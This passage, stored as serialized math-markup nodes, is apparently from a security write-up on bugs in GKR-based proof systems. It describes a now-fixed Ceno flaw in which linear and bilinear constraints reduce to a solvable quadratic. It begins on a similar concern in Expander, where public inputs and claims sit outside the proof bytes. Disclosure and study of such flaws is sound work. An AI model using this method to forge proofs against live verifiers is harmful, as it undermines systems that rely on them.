tag":271,"props":12183,"children":12185},{"className":12184},[296],[12186],{"type":30,"value":11047},{"type":25,"tag":271,"props":12188,"children":12190},{"className":12189},[391],[12191],{"type":30,"value":5604},{"type":25,"tag":271,"props":12193,"children":12195},{"className":12194},[296],[12196],{"type":30,"value":953},{"type":25,"tag":271,"props":12198,"children":12200},{"className":12199},[437],[12201],{"type":30,"value":5630},{"type":25,"tag":271,"props":12203,"children":12205},{"className":12204},[391],[12206],{"type":30,"value":5604},{"type":25,"tag":271,"props":12208,"children":12210},{"className":12209},[296],[12211],{"type":30,"value":953},{"type":25,"tag":271,"props":12213,"children":12215},{"className":12214},[437],[12216],{"type":30,"value":5630},{"type":30,"value":12218}," and ",{"type":25,"tag":264,"props":12220,"children":12222},{"className":12221},[267,268],[12223],{"type":25,"tag":271,"props":12224,"children":12226},{"className":12225},[274],[12227],{"type":25,"tag":271,"props":12228,"children":12230},{"className":12229,"ariaHidden":280},[279],[12231,12309],{"type":25,"tag":271,"props":12232,"children":12234},{"className":12233},[285],[12235,12239,12296,12300,12305],{"type":25,"tag":271,"props":12236,"children":12238},{"className":12237,"style":2287},[290],[],{"type":25,"tag":271,"props":12240,"children":12242},{"className":12241},[296],[12243,12248],{"type":25,"tag":271,"props":12244,"children":12246},{"className":12245},[296,297],[12247],{"type":30,"value":1136},{"type":25,"tag":271,"props":12249,"children":12251},{"className":12250},[982],[12252],{"type":25,"tag":271,"props":12253,"children":12255},{"className":12254},[987,1100],[12256,12285],{"type":25,"tag":271,"props":12257,"children":12259},{"className":12258},[992],[12260,12280],{"type":25,"tag":271,"props":12261,"children":12263},{"className":12262,"style":1588},[997],[12264],{"type":25,"tag":271,"props":12265,"children":12266},{"style":1592},[12267,12271],{"type":25,"tag":271,"props":12268,"children":12270},{"className":12269,"style":1008},[1007],[],{"type":25,"tag":271,"props":12272,"children":12274},{"className":12273},[1013,1014,1015,1016],[12275],{"type":25,"tag":271,"props":12276,"children":12278},{"className":12277},[296,1016],[12279],{"type":30,"value":968},{"type":25,"tag":271,"props":12281,"children":12283},{"className":12282},[1177],[12284],{"type":30,"value":1180},{"type":25,"tag":271,"props":12286,"children":12288},{"className":12287},[992],[12289],{"type":25,"tag":271,"props":12290,"children":12292},{"className":12291,"style":1619},[997],[12293],{"type":25,"tag":271,"props":12294,"children":12295},{},[],{"type":25,"tag":271,"props":12297,"children":12299},{"className":12298,"style":338},[337],[],{"type":25,"tag":271,"props":12301,"children":12303},{"className":12302},[356],[12304],{"type":30,"value":1065},{"type":25,"tag":271,"props":12306,"children":12308},{"className":12307,"style":338},[337],[],{"type":25,"tag":271,"props":12310,"children":12312},{"className":12311},[285],[12313,12317,12358,12363,12368,12373,12378,12383],{"type":25,"tag":271,"props":12314,"children":12316},{"className":12315,"style":7026},[290],[],{"type":25,"tag":271,"props":12318,"children":12320},{"className":12319},[296],[12321,12330,12335,12344,12349],{"type":25,"tag":271,"props":12322,"children":12324},{"className":12323},[296,30],[12325],{"type":25,"tag":271,"props":12326,"children":12328},{"className":12327},[296],[12329],{"type":30,"value":2299},{"type":25,"tag":271,"props":12331,"children":12333},{"className":12332,"style":2296},[296],[12334],{"type":30,"value":6434},{"type":25,"tag":271,"props":12336,"children":12338},{"className":12337},[296,30],[12339],{"type":25,"tag":271,"props":12340,"children":12342},{"className":12341},[296],[12343],{"type":30,"value":11028},{"type":25,"tag":271,"props":12345,"children":12347},{"className":12346,"style":2296},[296],[12348],{"type":30,"value":6434},{"type":25,"tag":271,"props":12350,"children":12352},{"className":12351},[296,30],[12353],{"type":25,"tag":271,"props":12354,"children":12356},{"className":12355},[296],[12357],{"type":30,"value":11047},{"type":25,"tag":271,"props":12359,"children":12361},{"className":12360},[391],[12362],{"type":30,"value":5604},{"type":25,"tag":271,"props":12364,"children":12366},{"className":12365},[296],[12367],{"type":30,"value":953},{"type":25,"tag":271,"props":12369,"children":12371},{"className":12370},[437],[12372],{"type":30,"value":5630},{"type":25,"tag":271,"props":12374,"children":12376},{"className":12375},[391],[12377],{"type":30,"value":5604},{"type":25,"tag":271,"props":12379,"children":12381},{"className":12380},[296],[12382],{"type":30,"value":968},{"type":25,"tag":271,"props":12384,"children":12386},{"className":12385},[437],[12387],{"type":30,"value":5630},{"type":30,"value":12389}," we get the following constraint:",{"type":25,"tag":26,"props":12391,"children":12392},{},[12393],{"type":25,"tag":264,"props":12394,"children":12396},{"className":12395},[267,268],[12397],{"type":25,"tag":271,"props":12398,"children":12400},{"className":12399},[274],[12401],{"type":25,"tag":271,"props":12402,"children":12404},{"className":12403,"ariaHidden":280},[279],[12405,12484,12562,12603],{"type":25,"tag":271,"props":12406,"children":12408},{"className":12407},[285],[12409,12414,12471,12475,12480],{"type":25,"tag":271,"props":12410,"children":12413},{"className":12411,"style":12412},[290],"height:0.5945em;vertical-align:-0.15em;",[],{"type":25,"tag":271,"props":12415,"children":12417},{"className":12416},[296],[12418,12423],{"type":25,"tag":271,"props":12419,"children":12421},{"className":12420},[296,297],[12422],{"type":30,"value":1136},{"type":25,"tag":271,"props":12424,"children":12426},{"className":12425},[982],[12427],{"type":25,"tag":271,"props":12428,"children":12430},{"className":12429},[987,1100],[12431,12460],{"type":25,"tag":271,"props":12432,"children":12434},{"className":12433},[992],[12435,12455],{"type":25,"tag":271,"props":12436,"children":12438},{"className":12437,"style":1588},[997],[12439],{"type":25,"tag":271,"props":12440,"children":12441},{"style":1592},[12442,12446],{"type":25,"tag":271,"props":12443,"children":12445},{"className":12444,"style":1008},[1007],[],{"type":25,"tag":271,"props":12447,"children":12449},{"className":12448},[1013,1014,1015,1016],[12450],{"type":25,"tag":271,"props":12451,"children":12453},{"className":12452},[296,1016],[12454],{"type":30,"value":953},{"type":25,"tag":271,"props":12456,"children":12458},{"className":12457},[1177],[12459],{"type":30,"value":1180},{"type":25,"tag":271,"props":12461,"children":12463},{"className":12462},[992],[12464],{"type":25,"tag":271,"props":12465,"children":12467},{"className":12466,"style":1619},[997],[12468],{"type":25,"tag":271,"props":12469,"children":12470},{},[],{"type":25,"tag":271,"props":12472,"children":12474},{"className":12473,"style":2066},[337],[],{"type":25,"tag":271,"props":12476,"children":12478},{"className":12477},[2071],[12479],{"type":30,"value":3585},{"type":25,"tag":271,"props":12481,"children":12483},{"className":12482,"style":2066},[337],[],{"type":25,"tag":271,"props":12485,"children":12487},{"className":12486},[285],[12488,12492,12549,12553,12558],{"type":25,"tag":271,"props":12489,"children":12491},{"className":12490,"style":12412},[290],[],{"type":25,"tag":271,"props":12493,"children":12495},{"className":12494},[296],[12496,12501],{"type":25,"tag":271,"props":12497,"children":12499},{"className":12498},[296,297],[12500],{"type":30,"value":1136},{"type":25,"tag":271,"props":12502,"children":12504},{"className":12503},[982],[12505],{"type":25,"tag":271,"props":12506,"children":12508},{"className":12507},[987,1100],[12509,12538],{"type":25,"tag":271,"props":12510,"children":12512},{"className":12511},[992],[12513,12533],{"type":25,"tag":271,"props":12514,"children":12516},{"className":12515,"style":1588},[997],[12517],{"type":25,"tag":271,"props":12518,"children":12519},{"style":1592},[12520,12524],{"type":25,"tag":271,"props":12521,"children":12523},{"className":12522,"style":1008},[1007],[],{"type":25,"tag":271,"props":12525,"children":12527},{"className":12526},[1013,1014,1015,1016],[12528],{"type":25,"tag":271,"props":12529,"children":12531},{"className":12530},[296,1016],[12532],{"type":30,"value":968},{"type":25,"tag":271,"props":12534,"children":12536},{"className":12535},[1177],[12537],{"type":30,"value":1180},{"type":25,"tag":271,"props":12539,"children":12541},{"className":12540},[992],[12542],{"type":25,"tag":271,"props":12543,"children":12545},{"className":12544,"style":1619},[997],[12546],{"type":25,"tag":271,"props":12547,"children":12548},{},[],{"type":25,"tag":271,"props":12550,"children":12552},{"className":12551,"style":2066},[337],[],{"type":25,"tag":271,"props":12554,"children":12556},{"className":12555},[2071],[12557],{"type":30,"value":3585},{"type":25,"tag":271,"props":12559,"children":12561},{"className":12560,"style":2066},[337],[],{"type":25,"tag":271,"props":12563,"children":12565},{"className":12564},[285],[12566,12570,12575,12585,12590,12594,12599],{"type":25,"tag":271,"props":12567,"children":12569},{"className":12568,"style":375},[290],[],{"type":25,"tag":271,"props":12571,"children":12573},{"className":12572},[391],[12574],{"type":30,"value":394},{"type":25,"tag":271,"props":12576,"children":12578},{"className":12577},[296,30],[12579],{"type":25,"tag":271,"props":12580,"children":12582},{"className":12581},[296],[12583],{"type":30,"value":12584},"rest of product",{"type":25,"tag":271,"props":12586,"children":12588},{"className":12587},[437],[12589],{"type":30,"value":440},{"type":25,"tag":271,"props":12591,"children":12593},{"className":12592,"style":338},[337],[],{"type":25,"tag":271,"props":12595,"children":12597},{"className":12596},[356],[12598],{"type":30,"value":1065},{"type":25,"tag":271,"props":12600,"children":12602},{"className":12601,"style":338},[337],[],{"type":25,"tag":271,"props":12604,"children":12606},{"className":12605},[285],[12607,12611],{"type":25,"tag":271,"props":12608,"children":12610},{"className":12609,"style":7362},[290],[],{"type":25,"tag":271,"props":12612,"children":12614},{"className":12613},[296,30],[12615],{"type":25,"tag":271,"props":12616,"children":12618},{"className":12617},[296],[12619],{"type":30,"value":7373},{"type":25,"tag":26,"props":12621,"children":12622},{},[12623,12625,12778],{"type":30,"value":12624},"This is bilinear in ",{"type":25,"tag":264,"props":12626,"children":12628},{"className":12627},[267,268],[12629],{"type":25,"tag":271,"props":12630,"children":12632},{"className":12631},[274],[12633],{"type":25,"tag":271,"props":12634,"children":12636},{"className":12635,"ariaHidden":280},[279],[12637],{"type":25,"tag":271,"props":12638,"children":12640},{"className":12639},[285],[12641,12645,12650,12707,12712,12716,12773],{"type":25,"tag":271,"props":12642,"children":12644},{"className":12643,"style":375},[290],[],{"type":25,"tag":271,"props":12646,"children":12648},{"className":12647},[391],[12649],{"type":30,"value":394},{"type":25,"tag":271,"props":12651,"children":12653},{"className":12652},[296],[12654,12659],{"type":25,"tag":271,"props":12655,"children":12657},{"className":12656},[296,297],[12658],{"type":30,"value":1136},{"type":25,"tag":271,"props":12660,"children":12662},{"className":12661},[982],[12663],{"type":25,"tag":271,"props":12664,"children":12666},{"className":12665},[987,1100],[12667,12696],{"type":25,"tag":271,"props":12668,"children":12670},{"className":12669},[992],[12671,12691],{"type":25,"tag":271,"props":12672,"children":12674},{"className":12673,"style":1588},[997],[12675],{"type":25,"tag":271,"props":12676,"children":12677},{"style":1592},[12678,12682],{"type":25,"tag":271,"props":12679,"children":12681},{"className":12680,"style":1008},[1007],[],{"type":25,"tag":271,"props":12683,"children":12685},{"className":12684},[1013,1014,1015,1016],[12686],{"type":25,"tag":271,"props":12687,"children":12689},{"className":12688},[296,1016],[12690],{"type":30,"value":953},{"type":25,"tag":271,"props":12692,"children":12694},{"className":12693},[1177],[12695],{"type":30,"value":1180},{"type":25,"tag":271,"props":12697,"children":12699},{"className":12698},[992],[12700],{"type":25,"tag":271,"props":12701,"children":12703},{"className":12702,"style":1619},[997],[12704],{"type":25,"tag":271,"props":12705,"children":12706},{},[],{"type":25,"tag":271,"props":12708,"children":12710},{"className":12709},[404],[12711],{"type":30,"value":407},{"type":25,"tag":271,"props":12713,"children":12715},{"className":12714,"style":411},[337],[],{"type":25,"tag":271,"props":12717,"children":12719},{"className":12718},[296],[12720,12725],{"type":25,"tag":271,"props":12721,"children":12723},{"className":12722},[296,297],[12724],{"type":30,"value":1136},{"type":25,"tag":271,"props":12726,"children":12728},{"className":12727},[982],[12729],{"type":25,"tag":271,"props":12730,"children":12732},{"className":12731},[987,1100],[12733,12762],{"type":25,"tag":271,"props":12734,"children":12736},{"className":12735},[992],[12737,12757],{"type":25,"tag":271,"props":12738,"children":12740},{"className":12739,"style":1588},[997],[12741],{"type":25,"tag":271,"props":12742,"children":12743},{"style":1592},[12744,12748],{"type":25,"tag":271,"props":12745,"children":12747},{"className":12746,"style":1008},[1007],[],{"type":25,"tag":271,"props":12749,"children":12751},{"className":12750},[1013,1014,1015,1016],[12752],{"type":25,"tag":271,"props":12753,"children":12755},{"className":12754},[296,1016],[12756],{"type":30,"value":968},{"type":25,"tag":271,"props":12758,"children":12760},{"className":12759},[1177],[12761],{"type":30,"value":1180},{"type":25,"tag":271,"props":12763,"children":12765},{"className":12764},[992],[12766],{"type":25,"tag":271,"props":12767,"children":12769},{"className":12768,"style":1619},[997],[12770],{"type":25,"tag":271,"props":12771,"children":12772},{},[],{"type":25,"tag":271,"props":12774,"children":12776},{"className":12775},[437],[12777],{"type":30,"value":440},{"type":30,"value":1860},{"type":25,"tag":26,"props":12780,"children":12781},{},[12782,12784,12937],{"type":30,"value":12783},"We have two unknowns ",{"type":25,"tag":264,"props":12785,"children":12787},{"className":12786},[267,268],[12788],{"type":25,"tag":271,"props":12789,"children":12791},{"className":12790},[274],[12792],{"type":25,"tag":271,"props":12793,"children":12795},{"className":12794,"ariaHidden":280},[279],[12796],{"type":25,"tag":271,"props":12797,"children":12799},{"className":12798},[285],[12800,12804,12809,12866,12871,12875,12932],{"type":25,"tag":271,"props":12801,"children":12803},{"className":12802,"style":375},[290],[],{"type":25,"tag":271,"props":12805,"children":12807},{"className":12806},[391],[12808],{"type":30,"value":394},{"type":25,"tag":271,"props":12810,"children":12812},{"className":12811},[296],[12813,12818],{"type":25,"tag":271,"props":12814,"children":12816},{"className":12815},[296,297],[12817],{"type":30,"value":1136},{"type":25,"tag":271,"props":12819,"children":12821},{"className":12820},[982],[12822],{"type":25,"tag":271,"props":12823,"children":12825},{"className":12824},[987,1100],[12826,12855],{"type":25,"tag":271,"props":12827,"children":12829},{"className":12828},[992],[12830,12850],{"type":25,"tag":271,"props":12831,"children":12833},{"className":12832,"style":1588},[997],[12834],{"type":25,"tag":271,"props":12835,"children":12836},{"style":1592},[12837,12841],{"type":25,"tag":271,"props":12838,"children":12840},{"className":12839,"style":1008},[1007],[],{"type":25,"tag":271,"props":12842,"children":12844},{"className":12843},[1013,1014,1015,1016],[12845],{"type":25,"tag":271,"props":12846,"children":12848},{"className":12847},[296,1016],[12849],{"type":30,"value":953},{"type":25,"tag":271,"props":12851,"children":12853},{"className":12852},[1177],[12854],{"type":30,"value":1180},{"type":25,"tag":271,"props":12856,"children":12858},{"className":12857},[992],[12859],{"type":25,"tag":271,"props":12860,"children":12862},{"className":12861,"style":1619},[997],[12863],{"type":25,"tag":271,"props":12864,"children":12865},{},[],{"type":25,"tag":271,"props":12867,"children":12869},{"className":12868},[404],[12870],{"type":30,"value":407},{"type":25,"tag":271,"props":12872,"children":12874},{"className":12873,"style":411},[337],[],{"type":25,"tag":271,"props":12876,"children":12878},{"className":12877},[296],[12879,12884],{"type":25,"tag":271,"props":12880,"children":12882},{"className":12881},[296,297],[12883],{"type":30,"value":1136},{"type":25,"tag":271,"props":12885,"children":12887},{"className":12886},[982],[12888],{"type":25,"tag":271,"props":12889,"children":12891},{"className":12890},[987,1100],[12892,12921],{"type":25,"tag":271,"props":12893,"children":12895},{"className":12894},[992],[12896,12916],{"type":25,"tag":271,"props":12897,"children":12899},{"className":12898,"style":1588},[997],[12900],{"type":25,"tag":271,"props":12901,"children":12902},{"style":1592},[12903,12907],{"type":25,"tag":271,"props":12904,"children":12906},{"className":12905,"style":1008},[1007],[],{"type":25,"tag":271,"props":12908,"children":12910},{"className":12909},[1013,1014,1015,1016],[12911],{"type":25,"tag":271,"props":12912,"children":12914},{"className":12913},[296,1016],[12915],{"type":30,"value":968},{"type":25,"tag":271,"props":12917,"children":12919},{"className":12918},[1177],[12920],{"type":30,"value":1180},{"type":25,"tag":271,"props":12922,"children":12924},{"className":12923},[992],[12925],{"type":25,"tag":271,"props":12926,"children":12928},{"className":12927,"style":1619},[997],[12929],{"type":25,"tag":271,"props":12930,"children":12931},{},[],{"type":25,"tag":271,"props":12933,"children":12935},{"className":12934},[437],[12936],{"type":30,"value":440},{"type":30,"value":12938}," and two equations, one linear and one bilinear:",{"type":25,"tag":661,"props":12940,"children":12941},{},[12942,13270],{"type":25,"tag":112,"props":12943,"children":12944},{},[12945,12947],{"type":30,"value":12946},"Linear (from GKR): ",{"type":25,"tag":264,"props":12948,"children":12950},{"className":12949},[267,268],[12951],{"type":25,"tag":271,"props":12952,"children":12954},{"className":12953},[274],[12955],{"type":25,"tag":271,"props":12956,"children":12958},{"className":12957,"ariaHidden":280},[279],[12959,13095,13230,13257],{"type":25,"tag":271,"props":12960,"children":12962},{"className":12961},[285],[12963,12968,13025,13082,13086,13091],{"type":25,"tag":271,"props":12964,"children":12967},{"className":12965,"style":12966},[290],"height:0.7333em;vertical-align:-0.15em;",[],{"type":25,"tag":271,"props":12969,"children":12971},{"className":12970},[296],[12972,12977],{"type":25,"tag":271,"props":12973,"children":12975},{"className":12974},[296,297],[12976],{"type":30,"value":83},{"type":25,"tag":271,"props":12978,"children":12980},{"className":12979},[982],[12981],{"type":25,"tag":271,"props":12982,"children":12984},{"className":12983},[987,1100],[12985,13014],{"type":25,"tag":271,"props":12986,"children":12988},{"className":12987},[992],[12989,13009],{"type":25,"tag":271,"props":12990,"children":12992},{"className":12991,"style":1588},[997],[12993],{"type":25,"tag":271,"props":12994,"children":12995},{"style":1592},[12996,13000],{"type":25,"tag":271,"props":12997,"children":12999},{"className":12998,"style":1008},[1007],[],{"type":25,"tag":271,"props":13001,"children":13003},{"className":13002},[1013,1014,1015,1016],[13004],{"type":25,"tag":271,"props":13005,"children":13007},{"className":13006},[296,1016],[13008],{"type":30,"value":953},{"type":25,"tag":271,"props":13010,"children":13012},{"className":13011},[1177],[13013],{"type":30,"value":1180},{"type":25,"tag":271,"props":13015,"children":13017},{"className":13016},[992],[13018],{"type":25,"tag":271,"props":13019,"children":13021},{"className":13020,"style":1619},[997],[13022],{"type":25,"tag":271,"props":13023,"children":13024},{},[],{"type":25,"tag":271,"props":13026,"children":13028},{"className":13027},[296],[13029,13034],{"type":25,"tag":271,"props":13030,"children":13032},{"className":13031},[296,297],[13033],{"type":30,"value":1136},{"type":25,"tag":271,"props":13035,"children":13037},{"className":13036},[982],[13038],{"type":25,"tag":271,"props":13039,"children":13041},{"className":13040},[987,1100],[13042,13071],{"type":25,"tag":271,"props":13043,"children":13045},{"className":13044},[992],[13046,13066],{"type":25,"tag":271,"props":13047,"children":13049},{"className":13048,"style":1588},[997],[13050],{"type":25,"tag":271,"props":13051,"children":13052},{"style":1592},[13053,13057],{"type":25,"tag":271,"props":13054,"children":13056},{"className":13055,"style":1008},[1007],[],{"type":25,"tag":271,"props":13058,"children":13060},{"className":13059},[1013,1014,1015,1016],[13061],{"type":25,"tag":271,"props":13062,"children":13064},{"className":13063},[296,1016],[13065],{"type":30,"value":953},{"type":25,"tag":271,"props":13067,"children":13069},{"className":13068},[1177],[13070],{"type":30,"value":1180},{"type":25,"tag":271,"props":13072,"children":13074},{"className":13073},[992],[13075],{"type":25,"tag":271,"props":13076,"children":13078},{"className":13077,"style":1619},[997],[13079],{"type":25,"tag":271,"props":13080,"children":13081},{},[],{"type":25,"tag":271,"props":13083,"children":13085},{"className":13084,"style":2066},[337],[],{"type":25,"tag":271,"props":13087,"children":13089},{"className":13088},[2071],[13090],{"type":30,"value":2074},{"type":25,"tag":271,"props":13092,"children":13094},{"className":13093,"style":2066},[337],[],{"type":25,"tag":271,"props":13096,"children":13098},{"className":13097},[285],[13099,13103,13160,13217,13221,13226],{"type":25,"tag":271,"props":13100,"children":13102},{"className":13101,"style":12966},[290],[],{"type":25,"tag":271,"props":13104,"children":13106},{"className":13105},[296],[13107,13112],{"type":25,"tag":271,"props":13108,"children":13110},{"className":13109},[296,297],[13111],{"type":30,"value":83},{"type":25,"tag":271,"props":13113,"children":13115},{"className":13114},[982],[13116],{"type":25,"tag":271,"props":13117,"children":13119},{"className":13118},[987,1100],[13120,13149],{"type":25,"tag":271,"props":13121,"children":13123},{"className":13122},[992],[13124,13144],{"type":25,"tag":271,"props":13125,"children":13127},{"className":13126,"style":1588},[997],[13128],{"type":25,"tag":271,"props":13129,"children":13130},{"style":1592},[13131,13135],{"type":25,"tag":271,"props":13132,"children":13134},{"className":13133,"style":1008},[1007],[],{"type":25,"tag":271,"props":13136,"children":13138},{"className":13137},[1013,1014,1015,1016],[13139],{"type":25,"tag":271,"props":13140,"children":13142},{"className":13141},[296,1016],[13143],{"type":30,"value":968},{"type":25,"tag":271,"props":13145,"children":13147},{"className":13146},[1177],[13148],{"type":30,"value":1180},{"type":25,"tag":271,"props":13150,"children":13152},{"className":13151},[992],[13153],{"type":25,"tag":271,"props":13154,"children":13156},{"className":13155,"style":1619},[997],[13157],{"type":25,"tag":271,"props":13158,"children":13159},{},[],{"type":25,"tag":271,"props":13161,"children":13163},{"className":13162},[296],[13164,13169],{"type":25,"tag":271,"props":13165,"children":13167},{"className":13166},[296,297],[13168],{"type":30,"value":1136},{"type":25,"tag":271,"props":13170,"children":13172},{"className":13171},[982],[13173],{"type":25,"tag":271,"props":13174,"children":13176},{"className":13175},[987,1100],[13177,13206],{"type":25,"tag":271,"props":13178,"children":13180},{"className":13179},[992],[13181,13201],{"type":25,"tag":271,"props":13182,"children":13184},{"className":13183,"style":1588},[997],[13185],{"type":25,"tag":271,"props":13186,"children":13187},{"style":1592},[13188,13192],{"type":25,"tag":271,"props":13189,"children":13191},{"className":13190,"style":1008},[1007],[],{"type":25,"tag":271,"props":13193,"children":13195},{"className":13194},[1013,1014,1015,1016],[13196],{"type":25,"tag":271,"props":13197,"children":13199},{"className":13198},[296,1016],[13200],{"type":30,"value":968},{"type":25,"tag":271,"props":13202,"children":13204},{"className":13203},[1177],[13205],{"type":30,"value":1180},{"type":25,"tag":271,"props":13207,"children":13209},{"className":13208},[992],[13210],{"type":25,"tag":271,"props":13211,"children":13213},{"className":13212,"style":1619},[997],[13214],{"type":25,"tag":271,"props":13215,"children":13216},{},[],{"type":25,"tag":271,"props":13218,"children":13220},{"className":13219,"style":2066},[337],[],{"type":25,"tag":271,"props":13222,"children":13224},{"className":13223},[2071],[13225],{"type":30,"value":2074},{"type":25,"tag":271,"props":13227,"children":13229},{"className":13228,"style":2066},[337],[],{"type":25,"tag":271,"props":13231,"children":13233},{"className":13232},[285],[13234,13238,13244,13248,13253],{"type":25,"tag":271,"props":13235,"children":13237},{"className":13236,"style":3164},[290],[],{"type":25,"tag":271,"props":13239,"children":13241},{"className":13240},[296,297],[13242],{"type":30,"value":13243},"c",{"type":25,"tag":271,"props":13245,"children":13247},{"className":13246,"style":338},[337],[],{"type":25,"tag":271,"props":13249,"children":13251},{"className":13250},[356],[13252],{"type":30,"value":1065},{"type":25,"tag":271,"props":13254,"children":13256},{"className":13255,"style":338},[337],[],{"type":25,"tag":271,"props":13258,"children":13260},{"className":13259},[285],[13261,13265],{"type":25,"tag":271,"props":13262,"children":13264},{"className":13263,"style":3128},[290],[],{"type":25,"tag":271,"props":13266,"children":13268},{"className":13267},[296],[13269],{"type":30,"value":953},{"type":25,"tag":112,"props":13271,"children":13272},{},[13273,13275],{"type":30,"value":13274},"Bilinear (from multiset): ",{"type":25,"tag":264,"props":13276,"children":13278},{"className":13277},[267,268],[13279],{"type":25,"tag":271,"props":13280,"children":13282},{"className":13281},[274],[13283],{"type":25,"tag":271,"props":13284,"children":13286},{"className":13285,"ariaHidden":280},[279],[13287,13313,13391,13469,13496],{"type":25,"tag":271,"props":13288,"children":13290},{"className":13289},[285],[13291,13295,13300,13304,13309],{"type":25,"tag":271,"props":13292,"children":13294},{"className":13293,"style":326},[290],[],{"type":25,"tag":271,"props":13296,"children":13298},{"className":13297,"style":6812},[296,297],[13299],{"type":30,"value":6815},{"type":25,"tag":271,"props":13301,"children":13303},{"className":13302,"style":2066},[337],[],{"type":25,"tag":271,"props":13305,"children":13307},{"className":13306},[2071],[13308],{"type":30,"value":3585},{"type":25,"tag":271,"props":13310,"children":13312},{"className":13311,"style":2066},[337],[],{"type":25,"tag":271,"props":13314,"children":13316},{"className":13315},[285],[13317,13321,13378,13382,13387],{"type":25,"tag":271,"props":13318,"children":13320},{"className":13319,"style":12412},[290],[],{"type":25,"tag":271,"props":13322,"children":13324},{"className":13323},[296],[13325,13330],{"type":25,"tag":271,"props":13326,"children":13328},{"className":13327},[296,297],[13329],{"type":30,"value":1136},{"type":25,"tag":271,"props":13331,"children":13333},{"className":13332},[982],[13334],{"type":25,"tag":271,"props":13335,"children":13337},{"className":13336},[987,1100],[13338,13367],{"type":25,"tag":271,"props":13339,"children":13341},{"className":13340},[992],[13342,13362],{"type":25,"tag":271,"props":13343,"children":13345},{"className":13344,"style":1588},[997],[13346],{"type":25,"tag":271,"props":13347,"children":13348},{"style":1592},[13349,13353],{"type":25,"tag":271,"props":13350,"children":13352},{"className":13351,"style":1008},[1007],[],{"type":25,"tag":271,"props":13354,"children":13356},{"className":13355},[1013,1014,1015,1016],[13357],{"type":25,"tag":271,"props":13358,"children":13360},{"className":13359},[296,1016],[13361],{"type":30,"value":953},{"type":25,"tag":271,"props":13363,"children":13365},{"className":13364},[1177],[13366],{"type":30,"value":1180},{"type":25,"tag":271,"props":13368,"children":13370},{"className":13369},[992],[13371],{"type":25,"tag":271,"props":13372,"children":13374},{"className":13373,"style":1619},[997],[13375],{"type":25,"tag":271,"props":13376,"children":13377},{},[],{"type":25,"tag":271,"props":13379,"children":13381},{"className":13380,"style":2066},[337],[],{"type":25,"tag":271,"props":13383,"children":13385},{"className":13384},[2071],[13386],{"type":30,"value":3585},{"type":25,"tag":271,"props":13388,"children":13390},{"className":13389,"style":2066},[337],[],{"type":25,"tag":271,"props":13392,"children":13394},{"className":13393},[285],[13395,13399,13456,13460,13465],{"type":25,"tag":271,"props":13396,"children":13398},{"className":13397,"style":12966},[290],[],{"type":25,"tag":271,"props":13400,"children":13402},{"className":13401},[296],[13403,13408],{"type":25,"tag":271,"props":13404,"children":13406},{"className":13405},[296,297],[13407],{"type":30,"value":1136},{"type":25,"tag":271,"props":13409,"children":13411},{"className":13410},[982],[13412],{"type":25,"tag":271,"props":13413,"children":13415},{"className":13414},[987,1100],[13416,13445],{"type":25,"tag":271,"props":13417,"children":13419},{"className":13418},[992],[13420,13440],{"type":25,"tag":271,"props":13421,"children":13423},{"className":13422,"style":1588},[997],[13424],{"type":25,"tag":271,"props":13425,"children":13426},{"style":1592},[13427,13431],{"type":25,"tag":271,"props":13428,"children":13430},{"className":13429,"style":1008},[1007],[],{"type":25,"tag":271,"props":13432,"children":13434},{"className":13433},[1013,1014,1015,1016],[13435],{"type":25,"tag":271,"props":13436,"children":13438},{"className":13437},[296,1016],[13439],{"type":30,"value":968},{"type":25,"tag":271,"props":13441,"children":13443},{"className":13442},[1177],[13444],{"type":30,"value":1180},{"type":25,"tag":271,"props":13446,"children":13448},{"className":13447},[992],[13449],{"type":25,"tag":271,"props":13450,"children":13452},{"className":13451,"style":1619},[997],[13453],{"type":25,"tag":271,"props":13454,"children":13455},{},[],{"type":25,"tag":271,"props":13457,"children":13459},{"className":13458,"style":2066},[337],[],{"type":25,"tag":271,"props":13461,"children":13463},{"className":13462},[2071],[13464],{"type":30,"value":2074},{"type":25,"tag":271,"props":13466,"children":13468},{"className":13467,"style":2066},[337],[],{"type":25,"tag":271,"props":13470,"children":13472},{"className":13471},[285],[13473,13477,13483,13487,13492],{"type":25,"tag":271,"props":13474,"children":13476},{"className":13475,"style":326},[290],[],{"type":25,"tag":271,"props":13478,"children":13480},{"className":13479},[296,297],[13481],{"type":30,"value":13482},"d",{"type":25,"tag":271,"props":13484,"children":13486},{"className":13485,"style":338},[337],[],{"type":25,"tag":271,"props":13488,"children":13490},{"className":13489},[356],[13491],{"type":30,"value":1065},{"type":25,"tag":271,"props":13493,"children":13495},{"className":13494,"style":338},[337],[],{"type":25,"tag":271,"props":13497,"children":13499},{"className":13498},[285],[13500,13504],{"type":25,"tag":271,"props":13501,"children":13503},{"className":13502,"style":3128},[290],[],{"type":25,"tag":271,"props":13505,"children":13507},{"className":13506},[296],[13508],{"type":30,"value":953},{"type":25,"tag":26,"props":13510,"children":13511},{},[13512],{"type":30,"value":13513},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":25,"tag":26,"props":13515,"children":13516},{},[13517,13521,13523,13530,13532,13539],{"type":25,"tag":38,"props":13518,"children":13519},{},[13520],{"type":30,"value":9059},{"type":30,"value":13522}," Fixed on March 5, 2026 via ",{"type":25,"tag":83,"props":13524,"children":13527},{"href":13525,"rel":13526},"https://github.com/scroll-tech/ceno/pull/1262",[9066],[13528],{"type":30,"value":13529},"PR #1262",{"type":30,"value":13531}," (original report: ",{"type":25,"tag":83,"props":13533,"children":13536},{"href":13534,"rel":13535},"https://github.com/scroll-tech/ceno/issues/1125",[9066],[13537],{"type":30,"value":13538},"#1125",{"type":30,"value":440},{"type":25,"tag":92,"props":13541,"children":13542},{},[],{"type":25,"tag":247,"props":13544,"children":13546},{"id":13545},"expander-polyhedra",[13547],{"type":30,"value":13548},"Expander (Polyhedra)",{"type":25,"tag":26,"props":13550,"children":13551},{},[13552],{"type":30,"value":13553},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":25,"tag":26,"props":13555,"children":13556},{},[13557],{"type":25,"tag":38,"props":13558,"children":13559},{},[13560],{"type":30,"value":7762},{"type":25,"tag":7764,"props":13562,"children":13564},{"code":13563},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[13565],{"type":25,"tag":264,"props":13566,"children":13567},{"__ignoreMap":7},[13568],{"type":30,"value":13563},{"type":25,"tag":26,"props":13570,"children":13571},{},[13572,13574,13580],{"type":30,"value":13573},"In Expander's circuit model, constant gates can reference public input values. During 